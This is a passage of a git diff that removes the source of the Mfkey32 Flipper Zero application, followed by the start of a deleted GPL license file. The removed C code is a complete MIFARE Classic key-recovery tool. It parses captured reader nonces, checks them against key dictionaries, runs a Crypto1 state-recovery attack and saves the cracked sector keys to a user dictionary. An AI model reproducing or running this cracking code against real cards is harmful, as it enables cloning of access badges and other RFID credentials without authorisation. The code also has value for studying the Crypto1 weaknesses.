0) { - data[tbl] |= filter(data[tbl]) ^ bit; - update_contribution(data, tbl, m1, m2); - } else if(filter(data[tbl]) == bit) { - data[++end] = data[tbl + 1]; - data[tbl + 1] = data[tbl] | 1; - update_contribution(data, tbl, m1, m2); - tbl++; - update_contribution(data, tbl, m1, m2); - } else { - data[tbl--] = data[end--]; - } - } - return end; -} - -int old_recover( - unsigned int odd[], - int o_head, - int o_tail, - int oks, - unsigned int even[], - int e_head, - int e_tail, - int eks, - int rem, - int s, - struct Crypto1Params* p, - int first_run) { - int o, e, i; - if(rem == -1) { - for(e = e_head; e <= e_tail; ++e) { - even[e] = (even[e] << 1) ^ evenparity32(even[e] & LF_POLY_EVEN); - for(o = o_head; o <= o_tail; ++o, ++s) { - struct Crypto1State temp = {0, 0}; - temp.even = odd[o]; - temp.odd = even[e] ^ evenparity32(odd[o] & LF_POLY_ODD); - if(check_state(&temp, p)) { - return -1; - } - } - } - return s; - } - if(first_run == 0) { - for(i = 0; (i < 4) && (rem-- != 0); i++) { - oks >>= 1; - eks >>= 1; - o_tail = extend_table( - odd, o_head, o_tail, oks & 1, LF_POLY_EVEN << 1 | 1, LF_POLY_ODD << 1); - if(o_head > o_tail) return s; - e_tail = - extend_table(even, e_head, e_tail, eks & 1, LF_POLY_ODD, LF_POLY_EVEN << 1 | 1); - if(e_head > e_tail) return s; - } - } - first_run = 0; - quicksort(odd, o_head, o_tail); - quicksort(even, e_head, e_tail); - while(o_tail >= o_head && e_tail >= e_head) { - if(((odd[o_tail] ^ even[e_tail]) >> 24) == 0) { - o_tail = binsearch(odd, o_head, o = o_tail); - e_tail = binsearch(even, e_head, e = e_tail); - s = old_recover(odd, o_tail--, o, oks, even, e_tail--, e, eks, rem, s, p, first_run); - if(s == -1) { - break; - } - } else if((odd[o_tail] ^ 0x80000000) > (even[e_tail] ^ 0x80000000)) { - o_tail = binsearch(odd, o_head, o_tail) - 1; - } else { - e_tail = binsearch(even, e_head, e_tail) - 1; - } - } - return s; -} - -static inline int sync_state(ProgramState* program_state) { - int ts = furi_hal_rtc_get_timestamp(); - program_state->eta_round = program_state->eta_round - (ts - program_state->eta_timestamp); - program_state->eta_total = program_state->eta_total - (ts - program_state->eta_timestamp); - program_state->eta_timestamp = ts; - if(program_state->close_thread_please) { - return 1; - } - return 0; -} - -int calculate_msb_tables( - int oks, - int eks, - int msb_round, - struct Crypto1Params* p, - unsigned int* states_buffer, - struct Msb* odd_msbs, - struct Msb* even_msbs, - unsigned int* temp_states_odd, - unsigned int* temp_states_even, - ProgramState* program_state) { - //FURI_LOG_I(TAG, "MSB GO %i", msb_iter); // DEBUG - unsigned int msb_head = (MSB_LIMIT * msb_round); // msb_iter ranges from 0 to (256/MSB_LIMIT)-1 - unsigned int msb_tail = (MSB_LIMIT * (msb_round + 1)); - int states_tail = 0, tail = 0; - int i = 0, j = 0, semi_state = 0, found = 0; - unsigned int msb = 0; - // TODO: Why is this necessary? - memset(odd_msbs, 0, MSB_LIMIT * sizeof(struct Msb)); - memset(even_msbs, 0, MSB_LIMIT * sizeof(struct Msb)); - - for(semi_state = 1 << 20; semi_state >= 0; semi_state--) { - if(semi_state % 32768 == 0) { - if(sync_state(program_state) == 1) { - return 0; - } - } - - if(filter(semi_state) == (oks & 1)) { //-V547 - states_buffer[0] = semi_state; - states_tail = state_loop(states_buffer, oks, CONST_M1_1, CONST_M2_1); - - for(i = states_tail; i >= 0; i--) { - msb = states_buffer[i] >> 24; - if((msb >= msb_head) && (msb < msb_tail)) { - found = 0; - for(j = 0; j < odd_msbs[msb - msb_head].tail - 1; j++) { - if(odd_msbs[msb - msb_head].states[j] == states_buffer[i]) { - found = 1; - break; - } - } - - if(!found) { - tail = odd_msbs[msb - msb_head].tail++; - odd_msbs[msb - msb_head].states[tail] = states_buffer[i]; - } - } - } - } - - if(filter(semi_state) == (eks & 1)) { //-V547 - states_buffer[0] = semi_state; - states_tail = state_loop(states_buffer, eks, CONST_M1_2, CONST_M2_2); - - for(i = 0; i <= states_tail; i++) { - msb = states_buffer[i] >> 24; - if((msb >= msb_head) && (msb < msb_tail)) { - found = 0; - - for(j = 0; j < even_msbs[msb - msb_head].tail; j++) { - if(even_msbs[msb - msb_head].states[j] == states_buffer[i]) { - found = 1; - break; - } - } - - if(!found) { - tail = even_msbs[msb - msb_head].tail++; - even_msbs[msb - msb_head].states[tail] = states_buffer[i]; - } - } - } - } - } - - oks >>= 12; - eks >>= 12; - - for(i = 0; i < MSB_LIMIT; i++) { - if(sync_state(program_state) == 1) { - return 0; - } - // TODO: Why is this necessary? - memset(temp_states_even, 0, sizeof(unsigned int) * (1280)); - memset(temp_states_odd, 0, sizeof(unsigned int) * (1280)); - memcpy(temp_states_odd, odd_msbs[i].states, odd_msbs[i].tail * sizeof(unsigned int)); - memcpy(temp_states_even, even_msbs[i].states, even_msbs[i].tail * sizeof(unsigned int)); - int res = old_recover( - temp_states_odd, - 0, - odd_msbs[i].tail, - oks, - temp_states_even, - 0, - even_msbs[i].tail, - eks, - 3, - 0, - p, - 1); - if(res == -1) { - return 1; - } - //odd_msbs[i].tail = 0; - //even_msbs[i].tail = 0; - } - - return 0; -} - -bool recover(struct Crypto1Params* p, int ks2, ProgramState* program_state) { - bool found = false; - unsigned int* states_buffer = malloc(sizeof(unsigned int) * (2 << 9)); - struct Msb* odd_msbs = (struct Msb*)malloc(MSB_LIMIT * sizeof(struct Msb)); - struct Msb* even_msbs = (struct Msb*)malloc(MSB_LIMIT * sizeof(struct Msb)); - unsigned int* temp_states_odd = malloc(sizeof(unsigned int) * (1280)); - unsigned int* temp_states_even = malloc(sizeof(unsigned int) * (1280)); - int oks = 0, eks = 0; - int i = 0, msb = 0; - for(i = 31; i >= 0; i -= 2) { - oks = oks << 1 | BEBIT(ks2, i); - } - for(i = 30; i >= 0; i -= 2) { - eks = eks << 1 | BEBIT(ks2, i); - } - int bench_start = furi_hal_rtc_get_timestamp(); - program_state->eta_total = eta_total_time; - program_state->eta_timestamp = bench_start; - for(msb = 0; msb <= ((256 / MSB_LIMIT) - 1); msb++) { - program_state->search = msb; - program_state->eta_round = eta_round_time; - program_state->eta_total = eta_total_time - (eta_round_time * msb); - if(calculate_msb_tables( - oks, - eks, - msb, - p, - states_buffer, - odd_msbs, - even_msbs, - temp_states_odd, - temp_states_even, - program_state)) { - int bench_stop = furi_hal_rtc_get_timestamp(); - FURI_LOG_I(TAG, "Cracked in %i seconds", bench_stop - bench_start); - found = true; - break; - } - if(program_state->close_thread_please) { - break; - } - } - free(states_buffer); - free(odd_msbs); - free(even_msbs); - free(temp_states_odd); - free(temp_states_even); - return found; -} - -bool napi_mf_classic_dict_check_presence(MfClassicDictType dict_type) { - Storage* storage = furi_record_open(RECORD_STORAGE); - - bool dict_present = false; - if(dict_type == MfClassicDictTypeSystem) { - dict_present = storage_common_stat(storage, MF_CLASSIC_DICT_FLIPPER_PATH, NULL) == FSE_OK; - } else if(dict_type == MfClassicDictTypeUser) { - dict_present = storage_common_stat(storage, MF_CLASSIC_DICT_USER_PATH, NULL) == FSE_OK; - } - - furi_record_close(RECORD_STORAGE); - - return dict_present; -} - -MfClassicDict* napi_mf_classic_dict_alloc(MfClassicDictType dict_type) { - MfClassicDict* dict = malloc(sizeof(MfClassicDict)); - Storage* storage = furi_record_open(RECORD_STORAGE); - dict->stream = buffered_file_stream_alloc(storage); - furi_record_close(RECORD_STORAGE); - - bool dict_loaded = false; - do { - if(dict_type == MfClassicDictTypeSystem) { - if(!buffered_file_stream_open( - dict->stream, - MF_CLASSIC_DICT_FLIPPER_PATH, - FSAM_READ_WRITE, - FSOM_OPEN_EXISTING)) { - buffered_file_stream_close(dict->stream); - break; - } - } else if(dict_type == MfClassicDictTypeUser) { - if(!buffered_file_stream_open( - dict->stream, MF_CLASSIC_DICT_USER_PATH, FSAM_READ_WRITE, FSOM_OPEN_ALWAYS)) { - buffered_file_stream_close(dict->stream); - break; - } - } - - // Check for newline ending - if(!stream_eof(dict->stream)) { - if(!stream_seek(dict->stream, -1, StreamOffsetFromEnd)) break; - uint8_t last_char = 0; - if(stream_read(dict->stream, &last_char, 1) != 1) break; - if(last_char != '\n') { - FURI_LOG_D(TAG, "Adding new line ending"); - if(stream_write_char(dict->stream, '\n') != 1) break; - } - if(!stream_rewind(dict->stream)) break; - } - - // Read total amount of keys - FuriString* next_line; - next_line = furi_string_alloc(); - while(true) { - if(!stream_read_line(dict->stream, next_line)) { - FURI_LOG_T(TAG, "No keys left in dict"); - break; - } - FURI_LOG_T( - TAG, - "Read line: %s, len: %zu", - furi_string_get_cstr(next_line), - furi_string_size(next_line)); - if(furi_string_get_char(next_line, 0) == '#') continue; - if(furi_string_size(next_line) != NFC_MF_CLASSIC_KEY_LEN) continue; - dict->total_keys++; - } - furi_string_free(next_line); - stream_rewind(dict->stream); - - dict_loaded = true; - FURI_LOG_I(TAG, "Loaded dictionary with %lu keys", dict->total_keys); - } while(false); - - if(!dict_loaded) { - buffered_file_stream_close(dict->stream); - free(dict); - dict = NULL; - } - - return dict; -} - -bool napi_mf_classic_dict_add_key_str(MfClassicDict* dict, FuriString* key) { - furi_assert(dict); - furi_assert(dict->stream); - FURI_LOG_I(TAG, "Saving key: %s", furi_string_get_cstr(key)); - - furi_string_cat_printf(key, "\n"); - - bool key_added = false; - do { - if(!stream_seek(dict->stream, 0, StreamOffsetFromEnd)) break; - if(!stream_insert_string(dict->stream, key)) break; - dict->total_keys++; - key_added = true; - } while(false); - - furi_string_left(key, 12); - return key_added; -} - -void napi_mf_classic_dict_free(MfClassicDict* dict) { - furi_assert(dict); - furi_assert(dict->stream); - - buffered_file_stream_close(dict->stream); - stream_free(dict->stream); - free(dict); -} - -static void napi_mf_classic_dict_int_to_str(uint8_t* key_int, FuriString* key_str) { - furi_string_reset(key_str); - for(size_t i = 0; i < 6; i++) { - furi_string_cat_printf(key_str, "%02X", key_int[i]); - } -} - -static void napi_mf_classic_dict_str_to_int(FuriString* key_str, uint64_t* key_int) { - uint8_t key_byte_tmp; - - *key_int = 0ULL; - for(uint8_t i = 0; i < 12; i += 2) { - args_char_to_hex( - furi_string_get_char(key_str, i), furi_string_get_char(key_str, i + 1), &key_byte_tmp); - *key_int |= (uint64_t)key_byte_tmp << (8 * (5 - i / 2)); - } -} - -uint32_t napi_mf_classic_dict_get_total_keys(MfClassicDict* dict) { - furi_assert(dict); - - return dict->total_keys; -} - -bool napi_mf_classic_dict_rewind(MfClassicDict* dict) { - furi_assert(dict); - furi_assert(dict->stream); - - return stream_rewind(dict->stream); -} - -bool napi_mf_classic_dict_get_next_key_str(MfClassicDict* dict, FuriString* key) { - furi_assert(dict); - furi_assert(dict->stream); - - bool key_read = false; - furi_string_reset(key); - while(!key_read) { - if(!stream_read_line(dict->stream, key)) break; - if(furi_string_get_char(key, 0) == '#') continue; - if(furi_string_size(key) != NFC_MF_CLASSIC_KEY_LEN) continue; - furi_string_left(key, 12); - key_read = true; - } - - return key_read; -} - -bool napi_mf_classic_dict_get_next_key(MfClassicDict* dict, uint64_t* key) { - furi_assert(dict); - furi_assert(dict->stream); - - FuriString* temp_key; - temp_key = furi_string_alloc(); - bool key_read = napi_mf_classic_dict_get_next_key_str(dict, temp_key); - if(key_read) { - napi_mf_classic_dict_str_to_int(temp_key, key); - } - furi_string_free(temp_key); - return key_read; -} - -bool napi_mf_classic_dict_is_key_present_str(MfClassicDict* dict, FuriString* key) { - furi_assert(dict); - furi_assert(dict->stream); - - FuriString* next_line; - next_line = furi_string_alloc(); - - bool key_found = false; - stream_rewind(dict->stream); - while(!key_found) { //-V654 - if(!stream_read_line(dict->stream, next_line)) break; - if(furi_string_get_char(next_line, 0) == '#') continue; - if(furi_string_size(next_line) != NFC_MF_CLASSIC_KEY_LEN) continue; - furi_string_left(next_line, 12); - if(!furi_string_equal(key, next_line)) continue; - key_found = true; - } - - furi_string_free(next_line); - return key_found; -} - -bool napi_mf_classic_dict_is_key_present(MfClassicDict* dict, uint8_t* key) { - FuriString* temp_key; - - temp_key = furi_string_alloc(); - napi_mf_classic_dict_int_to_str(key, temp_key); - bool key_found = napi_mf_classic_dict_is_key_present_str(dict, temp_key); - furi_string_free(temp_key); - return key_found; -} - -bool napi_key_already_found_for_nonce( - MfClassicDict* dict, - uint32_t uid_xor_nt1, - uint32_t nr1_enc, - uint32_t p64b, - uint32_t ar1_enc) { - bool found = false; - uint64_t k = 0; - napi_mf_classic_dict_rewind(dict); - while(napi_mf_classic_dict_get_next_key(dict, &k)) { - struct Crypto1State temp = {0, 0}; - int i; - for(i = 0; i < 24; i++) { - (&temp)->odd |= (BIT(k, 2 * i + 1) << (i ^ 3)); - (&temp)->even |= (BIT(k, 2 * i) << (i ^ 3)); - } - crypt_word_noret(&temp, uid_xor_nt1, 0); - crypt_word_noret(&temp, nr1_enc, 1); - if(ar1_enc == (crypt_word(&temp) ^ p64b)) { - found = true; - break; - } - } - return found; -} - -bool napi_mf_classic_nonces_check_presence() { - Storage* storage = furi_record_open(RECORD_STORAGE); - - bool nonces_present = storage_common_stat(storage, MF_CLASSIC_NONCE_PATH, NULL) == FSE_OK; - - furi_record_close(RECORD_STORAGE); - - return nonces_present; -} - -MfClassicNonceArray* napi_mf_classic_nonce_array_alloc( - MfClassicDict* system_dict, - bool system_dict_exists, - MfClassicDict* user_dict, - ProgramState* program_state) { - MfClassicNonceArray* nonce_array = malloc(sizeof(MfClassicNonceArray)); - MfClassicNonce* remaining_nonce_array_init = malloc(sizeof(MfClassicNonce) * 1); - nonce_array->remaining_nonce_array = remaining_nonce_array_init; - Storage* storage = furi_record_open(RECORD_STORAGE); - nonce_array->stream = buffered_file_stream_alloc(storage); - furi_record_close(RECORD_STORAGE); - - bool array_loaded = false; - do { - // https://github.com/flipperdevices/flipperzero-firmware/blob/5134f44c09d39344a8747655c0d59864bb574b96/applications/services/storage/filesystem_api_defines.h#L8-L22 - if(!buffered_file_stream_open( - nonce_array->stream, MF_CLASSIC_NONCE_PATH, FSAM_READ_WRITE, FSOM_OPEN_EXISTING)) { - buffered_file_stream_close(nonce_array->stream); - break; - } - - // Check for newline ending - if(!stream_eof(nonce_array->stream)) { - if(!stream_seek(nonce_array->stream, -1, StreamOffsetFromEnd)) break; - uint8_t last_char = 0; - if(stream_read(nonce_array->stream, &last_char, 1) != 1) break; - if(last_char != '\n') { - FURI_LOG_D(TAG, "Adding new line ending"); - if(stream_write_char(nonce_array->stream, '\n') != 1) break; - } - if(!stream_rewind(nonce_array->stream)) break; - } - - // Read total amount of nonces - FuriString* next_line; - next_line = furi_string_alloc(); - while(!(program_state->close_thread_please)) { - if(!stream_read_line(nonce_array->stream, next_line)) { - FURI_LOG_T(TAG, "No nonces left"); - break; - } - FURI_LOG_T( - TAG, - "Read line: %s, len: %zu", - furi_string_get_cstr(next_line), - furi_string_size(next_line)); - if(!furi_string_start_with_str(next_line, "Sec")) continue; - const char* next_line_cstr = furi_string_get_cstr(next_line); - MfClassicNonce res = {0}; - int i = 0; - char* endptr; - for(i = 0; i <= 17; i++) { - if(i != 0) { - next_line_cstr = strchr(next_line_cstr, ' '); - if(next_line_cstr) { - next_line_cstr++; - } else { - break; - } - } - unsigned long value = strtoul(next_line_cstr, &endptr, 16); - switch(i) { - case 5: - res.uid = value; - break; - case 7: - res.nt0 = value; - break; - case 9: - res.nr0_enc = value; - break; - case 11: - res.ar0_enc = value; - break; - case 13: - res.nt1 = value; - break; - case 15: - res.nr1_enc = value; - break; - case 17: - res.ar1_enc = value; - break; - default: - break; // Do nothing - } - next_line_cstr = endptr; - } - (program_state->total)++; - uint32_t p64b = prng_successor(res.nt1, 64); - if((system_dict_exists && - napi_key_already_found_for_nonce( - system_dict, res.uid ^ res.nt1, res.nr1_enc, p64b, res.ar1_enc)) || - (napi_key_already_found_for_nonce( - user_dict, res.uid ^ res.nt1, res.nr1_enc, p64b, res.ar1_enc))) { - (program_state->cracked)++; - (program_state->num_completed)++; - continue; - } - FURI_LOG_I(TAG, "No key found for %8lx %8lx", res.uid, res.ar1_enc); - // TODO: Refactor - nonce_array->remaining_nonce_array = realloc( //-V701 - nonce_array->remaining_nonce_array, - sizeof(MfClassicNonce) * ((nonce_array->remaining_nonces) + 1)); - nonce_array->remaining_nonces++; - nonce_array->remaining_nonce_array[(nonce_array->remaining_nonces) - 1] = res; - nonce_array->total_nonces++; - } - furi_string_free(next_line); - buffered_file_stream_close(nonce_array->stream); - - array_loaded = true; - FURI_LOG_I(TAG, "Loaded %lu nonces", nonce_array->total_nonces); - } while(false); - - if(!array_loaded) { - free(nonce_array); - nonce_array = NULL; - } - - return nonce_array; -} - -void napi_mf_classic_nonce_array_free(MfClassicNonceArray* nonce_array) { - furi_assert(nonce_array); - furi_assert(nonce_array->stream); - - buffered_file_stream_close(nonce_array->stream); - stream_free(nonce_array->stream); - free(nonce_array); -} - -static void finished_beep() { - // Beep to indicate completion - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &sequence_audiovisual_alert); - notification_message(notification, &sequence_display_backlight_on); - furi_record_close("notification"); -} - -void mfkey32(ProgramState* program_state) { - uint64_t found_key; // recovered key - size_t keyarray_size = 0; - uint64_t* keyarray = malloc(sizeof(uint64_t) * 1); - uint32_t i = 0, j = 0; - // Check for nonces - if(!napi_mf_classic_nonces_check_presence()) { - program_state->err = MissingNonces; - program_state->mfkey_state = Error; - free(keyarray); - return; - } - // Read dictionaries (optional) - MfClassicDict* system_dict = {0}; - bool system_dict_exists = napi_mf_classic_dict_check_presence(MfClassicDictTypeSystem); - MfClassicDict* user_dict = {0}; - bool user_dict_exists = napi_mf_classic_dict_check_presence(MfClassicDictTypeUser); - uint32_t total_dict_keys = 0; - if(system_dict_exists) { - system_dict = napi_mf_classic_dict_alloc(MfClassicDictTypeSystem); - total_dict_keys += napi_mf_classic_dict_get_total_keys(system_dict); - } - user_dict = napi_mf_classic_dict_alloc(MfClassicDictTypeUser); - if(user_dict_exists) { - total_dict_keys += napi_mf_classic_dict_get_total_keys(user_dict); - } - user_dict_exists = true; - program_state->dict_count = total_dict_keys; - program_state->mfkey_state = DictionaryAttack; - // Read nonces - MfClassicNonceArray* nonce_arr; - nonce_arr = napi_mf_classic_nonce_array_alloc( - system_dict, system_dict_exists, user_dict, program_state); - if(system_dict_exists) { - napi_mf_classic_dict_free(system_dict); - } - if(nonce_arr->total_nonces == 0) { - // Nothing to crack - program_state->err = ZeroNonces; - program_state->mfkey_state = Error; - napi_mf_classic_nonce_array_free(nonce_arr); - napi_mf_classic_dict_free(user_dict); - free(keyarray); - return; - } - if(memmgr_get_free_heap() < MIN_RAM) { - // System has less than the guaranteed amount of RAM (140 KB) - adjust some parameters to run anyway at half speed - eta_round_time *= 2; - eta_total_time *= 2; - MSB_LIMIT /= 2; - } - program_state->mfkey_state = MfkeyAttack; - // TODO: Work backwards on this array and free memory - for(i = 0; i < nonce_arr->total_nonces; i++) { - MfClassicNonce next_nonce = nonce_arr->remaining_nonce_array[i]; - uint32_t p64 = prng_successor(next_nonce.nt0, 64); - uint32_t p64b = prng_successor(next_nonce.nt1, 64); - if(key_already_found_for_nonce( - keyarray, - keyarray_size, - next_nonce.uid ^ next_nonce.nt1, - next_nonce.nr1_enc, - p64b, - next_nonce.ar1_enc)) { - nonce_arr->remaining_nonces--; - (program_state->cracked)++; - (program_state->num_completed)++; - continue; - } - FURI_LOG_I(TAG, "Cracking %8lx %8lx", next_nonce.uid, next_nonce.ar1_enc); - struct Crypto1Params p = { - 0, - next_nonce.nr0_enc, - next_nonce.uid ^ next_nonce.nt0, - next_nonce.uid ^ next_nonce.nt1, - next_nonce.nr1_enc, - p64b, - next_nonce.ar1_enc}; - if(!recover(&p, next_nonce.ar0_enc ^ p64, program_state)) { - if(program_state->close_thread_please) { - break; - } - // No key found in recover() - (program_state->num_completed)++; - continue; - } - (program_state->cracked)++; - (program_state->num_completed)++; - found_key = p.key; - bool already_found = false; - for(j = 0; j < keyarray_size; j++) { - if(keyarray[j] == found_key) { - already_found = true; - break; - } - } - if(already_found == false) { - // New key - keyarray = realloc(keyarray, sizeof(uint64_t) * (keyarray_size + 1)); //-V701 - keyarray_size += 1; - keyarray[keyarray_size - 1] = found_key; - (program_state->unique_cracked)++; - } - } - // TODO: Update display to show all keys were found - // TODO: Prepend found key(s) to user dictionary file - //FURI_LOG_I(TAG, "Unique keys found:"); - for(i = 0; i < keyarray_size; i++) { - //FURI_LOG_I(TAG, "%012" PRIx64, keyarray[i]); - FuriString* temp_key = furi_string_alloc(); - furi_string_cat_printf(temp_key, "%012" PRIX64, keyarray[i]); - napi_mf_classic_dict_add_key_str(user_dict, temp_key); - furi_string_free(temp_key); - } - if(keyarray_size > 0) { - // TODO: Should we use DolphinDeedNfcMfcAdd? - dolphin_deed(DolphinDeedNfcMfcAdd); - } - napi_mf_classic_nonce_array_free(nonce_arr); - napi_mf_classic_dict_free(user_dict); - free(keyarray); - //FURI_LOG_I(TAG, "mfkey32 function completed normally"); // DEBUG - program_state->mfkey_state = Complete; - // No need to alert the user if they asked it to stop - if(!(program_state->close_thread_please)) { - finished_beep(); - } - return; -} - -// Screen is 128x64 px -static void render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - ProgramState* program_state = ctx; - furi_mutex_acquire(program_state->mutex, FuriWaitForever); - char draw_str[44] = {}; - canvas_clear(canvas); - canvas_draw_frame(canvas, 0, 0, 128, 64); - canvas_draw_frame(canvas, 0, 15, 128, 64); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 5, 4, AlignLeft, AlignTop, "Mfkey32"); - canvas_draw_icon(canvas, 114, 4, &I_mfkey); - if(program_state->is_thread_running && program_state->mfkey_state == MfkeyAttack) { - float eta_round = (float)1 - ((float)program_state->eta_round / (float)eta_round_time); - float eta_total = (float)1 - ((float)program_state->eta_total / (float)eta_total_time); - float progress = (float)program_state->num_completed / (float)program_state->total; - if(eta_round < 0) { - // Round ETA miscalculated - eta_round = 1; - program_state->eta_round = 0; - } - if(eta_total < 0) { - // Total ETA miscalculated - eta_total = 1; - program_state->eta_total = 0; - } - canvas_set_font(canvas, FontSecondary); - snprintf( - draw_str, - sizeof(draw_str), - "Cracking: %d/%d - in prog.", - program_state->num_completed, - program_state->total); - elements_progress_bar_with_text(canvas, 5, 18, 118, progress, draw_str); - snprintf( - draw_str, - sizeof(draw_str), - "Round: %d/%d - ETA %02d Sec", - (program_state->search) + 1, // Zero indexed - 256 / MSB_LIMIT, - program_state->eta_round); - elements_progress_bar_with_text(canvas, 5, 31, 118, eta_round, draw_str); - snprintf(draw_str, sizeof(draw_str), "Total ETA %03d Sec", program_state->eta_total); - elements_progress_bar_with_text(canvas, 5, 44, 118, eta_total, draw_str); - } else if(program_state->is_thread_running && program_state->mfkey_state == DictionaryAttack) { - canvas_set_font(canvas, FontSecondary); - snprintf( - draw_str, sizeof(draw_str), "Dict solves: %d (in progress)", program_state->cracked); - canvas_draw_str_aligned(canvas, 10, 18, AlignLeft, AlignTop, draw_str); - snprintf(draw_str, sizeof(draw_str), "Keys in dict: %d", program_state->dict_count); - canvas_draw_str_aligned(canvas, 26, 28, AlignLeft, AlignTop, draw_str); - } else if(program_state->mfkey_state == Complete) { - // TODO: Scrollable list view to see cracked keys if user presses down - elements_progress_bar_with_text(canvas, 5, 18, 118, 1, draw_str); - canvas_set_font(canvas, FontSecondary); - snprintf(draw_str, sizeof(draw_str), "Complete"); - canvas_draw_str_aligned(canvas, 40, 31, AlignLeft, AlignTop, draw_str); - snprintf( - draw_str, - sizeof(draw_str), - "Keys added to user dict: %d", - program_state->unique_cracked); - canvas_draw_str_aligned(canvas, 10, 41, AlignLeft, AlignTop, draw_str); - } else if(program_state->mfkey_state == Ready) { - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 50, 30, AlignLeft, AlignTop, "Ready"); - elements_button_center(canvas, "Start"); - elements_button_right(canvas, "Help"); - } else if(program_state->mfkey_state == Help) { - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 7, 20, AlignLeft, AlignTop, "Collect nonces using"); - canvas_draw_str_aligned(canvas, 7, 30, AlignLeft, AlignTop, "Detect Reader."); - canvas_draw_str_aligned(canvas, 7, 40, AlignLeft, AlignTop, "Developers: noproto, AG"); - canvas_draw_str_aligned(canvas, 7, 50, AlignLeft, AlignTop, "Thanks: bettse"); - } else if(program_state->mfkey_state == Error) { - canvas_draw_str_aligned(canvas, 50, 25, AlignLeft, AlignTop, "Error"); - canvas_set_font(canvas, FontSecondary); - if(program_state->err == MissingNonces) { - canvas_draw_str_aligned(canvas, 25, 36, AlignLeft, AlignTop, "No nonces found"); - } else if(program_state->err == ZeroNonces) { - canvas_draw_str_aligned(canvas, 15, 36, AlignLeft, AlignTop, "Nonces already cracked"); - } else { - // Unhandled error - } - } else { - // Unhandled program state - } - furi_mutex_release(program_state->mutex); -} - -static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - PluginEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void mfkey32_state_init(ProgramState* program_state) { - program_state->is_thread_running = false; - program_state->mfkey_state = Ready; - program_state->cracked = 0; - program_state->unique_cracked = 0; - program_state->num_completed = 0; - program_state->total = 0; - program_state->dict_count = 0; -} - -// Entrypoint for worker thread -static int32_t mfkey32_worker_thread(void* ctx) { - ProgramState* program_state = ctx; - program_state->is_thread_running = true; - program_state->mfkey_state = Initializing; - //FURI_LOG_I(TAG, "Hello from the mfkey32 worker thread"); // DEBUG - mfkey32(program_state); - program_state->is_thread_running = false; - return 0; -} - -void start_mfkey32_thread(ProgramState* program_state) { - if(!program_state->is_thread_running) { - furi_thread_start(program_state->mfkeythread); - } -} - -int32_t mfkey32_main() { - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); - - ProgramState* program_state = malloc(sizeof(ProgramState)); - - mfkey32_state_init(program_state); - - program_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!program_state->mutex) { - FURI_LOG_E(TAG, "cannot create mutex\r\n"); - free(program_state); - return 255; - } - - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, render_callback, program_state); - view_port_input_callback_set(view_port, input_callback, event_queue); - - // Open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - program_state->mfkeythread = furi_thread_alloc(); - furi_thread_set_name(program_state->mfkeythread, "Mfkey32 Worker"); - furi_thread_set_stack_size(program_state->mfkeythread, 2048); - furi_thread_set_context(program_state->mfkeythread, program_state); - furi_thread_set_callback(program_state->mfkeythread, mfkey32_worker_thread); - - PluginEvent event; - for(bool main_loop = true; main_loop;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - - furi_mutex_acquire(program_state->mutex, FuriWaitForever); - - if(event_status == FuriStatusOk) { - // press events - if(event.type == EventTypeKey) { - if(event.input.type == InputTypePress) { - switch(event.input.key) { - case InputKeyUp: - break; - case InputKeyDown: - break; - case InputKeyRight: - if(!program_state->is_thread_running && - program_state->mfkey_state == Ready) { - program_state->mfkey_state = Help; - view_port_update(view_port); - } - break; - case InputKeyLeft: - break; - case InputKeyOk: - if(!program_state->is_thread_running && - program_state->mfkey_state == Ready) { - start_mfkey32_thread(program_state); - view_port_update(view_port); - } - break; - case InputKeyBack: - if(!program_state->is_thread_running && - program_state->mfkey_state == Help) { - program_state->mfkey_state = Ready; - view_port_update(view_port); - } else { - program_state->close_thread_please = true; - if(program_state->is_thread_running && program_state->mfkeythread) { - // Wait until thread is finished - furi_thread_join(program_state->mfkeythread); - } - program_state->close_thread_please = false; - main_loop = false; - } - break; - default: - break; - } - } - } - } - - view_port_update(view_port); - furi_mutex_release(program_state->mutex); - } - - furi_thread_free(program_state->mfkeythread); - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close("gui"); - view_port_free(view_port); - furi_message_queue_free(event_queue); - furi_mutex_free(program_state->mutex); - free(program_state); - - return 0; -} diff --git a/applications/external/mifare_nested/LICENSE.md b/applications/external/mifare_nested/LICENSE.md deleted file mode 100644 index f288702d2..000000000 --- a/applications/external/mifare_nested/LICENSE.md +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL 